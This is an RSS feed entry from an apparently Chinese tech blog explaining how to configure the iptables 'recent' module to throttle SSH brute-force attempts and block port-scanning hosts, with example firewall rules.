		<description><![CDATA[众所周知，Linux可以通过编写iptables规则对进出Linux主机的数据包进行过滤等操作，在一定程度上可以提升Linux主机的安全 性，在新版本内核中，新增了recent模块，该模块可以根据源地址、目的地址统计最近一段时间内经过本机的数据包的情况，并根据相应的规则作出相应的决 策，详见：http://snowman.net/projects/ipt_recent/ 1、通过recent模块可以防止穷举猜测Linux主机用户口令，通常可以通过iptables限制只允许某些网段和主机连接Linux机器的 22/TCP端口，如果管理员IP地址经常变化，此时iptables就很难适用这样的环境了。通过使用recent模块，使用下面这两条规则即可解决问 题： -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 --name SSH --rsource -j DROP -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --set --name SSH --rsource -j ACCEPT 应用该规则后，如果某IP地址在一分钟之内对Linux主机22/TCP端口新发起的连接超过4次，之后的新发起的连接将被丢弃。 2、通过recent模块可以防止端口扫描。 -A INPUT -m [...]]]></description>
			<content:encoded><![CDATA[<p>众所周知，Linux可以通过编写iptables规则对进出Linux主机的数据包进行过滤等操作，在一定程度上可以提升Linux主机的安全 性，在新版本内核中，新增了recent模块，该模块可以根据源地址、目的地址统计最近一段时间内经过本机的数据包的情况，并根据相应的规则作出相应的决 策，详见：http://snowman.net/projects/ipt_recent/<span id="more-43"></span></p>
<p>1、通过recent模块可以防止穷举猜测Linux主机用户口令，通常可以通过iptables限制只允许某些网段和主机连接Linux机器的 22/TCP端口，如果管理员IP地址经常变化，此时iptables就很难适用这样的环境了。通过使用recent模块，使用下面这两条规则即可解决问 题：</p>
<blockquote><pre>-A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 --name SSH --rsource -j DROP
-A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --set --name SSH --rsource -j ACCEPT</pre>
</blockquote>
<p>应用该规则后，如果某IP地址在一分钟之内对Linux主机22/TCP端口新发起的连接超过4次，之后的新发起的连接将被丢弃。</p>
<p>2、通过recent模块可以防止端口扫描。</p>
<blockquote><pre>-A INPUT -m recent --update --seconds 60 --hitcount 20 --name PORTSCAN --rsource -j DROP
-A INPUT -m recent --set --name PORTSCAN --rsource -j DROP</pre>
</blockquote>
<p>应用该规则后，如果某个IP地址对非Linux主机允许的端口发起连接，并且一分钟内超过20次，则系统将中断该主机与本机的连接。</p>
<p>详细配置如下：</p>
<blockquote><pre>*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [458:123843]
-A INPUT -i lo -j ACCEPT
-A INPUT -i tap+ -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT
-A INPUT -m recent --update --seconds 60 --hitcount 20 --name PORTSCAN --rsource -j DROP
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 --name SSH --rsource -j DROP
-A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --set --name SSH --rsource -j ACCEPT
-A INPUT -p udp -m udp --dport 53 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 53 -m state --state NEW -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -m state --state NEW -j ACCEPT
-A INPUT -p tcp -m tcp --dport 443 -m state --state NEW -j ACCEPT
-A INPUT -m recent --set --name PORTSCAN --rsource -j DROP
COMMIT
</pre>
</blockquote>
<p>以上配置说明，本机开放可供服务的端口有22/TCP（有连接频率限制）,53/TCP/UDP, 80/TCP, 443/TCP，所有发往本机的其他ip报文则认为是端口扫描，如果一分钟之内超过20次，则封禁该主机，攻击停止一分钟以上自动解封。</p>
<p>在这只是取个抛砖引玉的作用，通过recent模块还可以实现很多更复杂的功能，例如：22/TCP端口对所有主机都是关闭的，通过顺序访问23/TCP 24/TCP 25/TCP之后，22/TCP端口就对你一个IP地址开放等等。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li><a href="http://www.wenzk.com/archives/610" title="通过iptables的recent模块保护某些私有服务">通过iptables的recent模块保护某些私有服务</a> (2)</li><li><a href="http://www.wenzk.com/archives/45" title="其实Recent还可以这么用">其实Recent还可以这么用</a> (0)</li><li><a href="http://www.wenzk.com/archives/1362" title="Linux NAT之LOG问题">Linux NAT之LOG问题</a> (0)</li><li><a href="http://www.wenzk.com/archives/1356" title="单IP做NAT支持的最大连接数问题">单IP做NAT支持的最大连接数问题</a> (0)</li><li><a href="http://www.wenzk.com/archives/1320" title="用iptables做NAT地址池问题">用iptables做NAT地址池问题</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.wenzk.com/archives/43/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

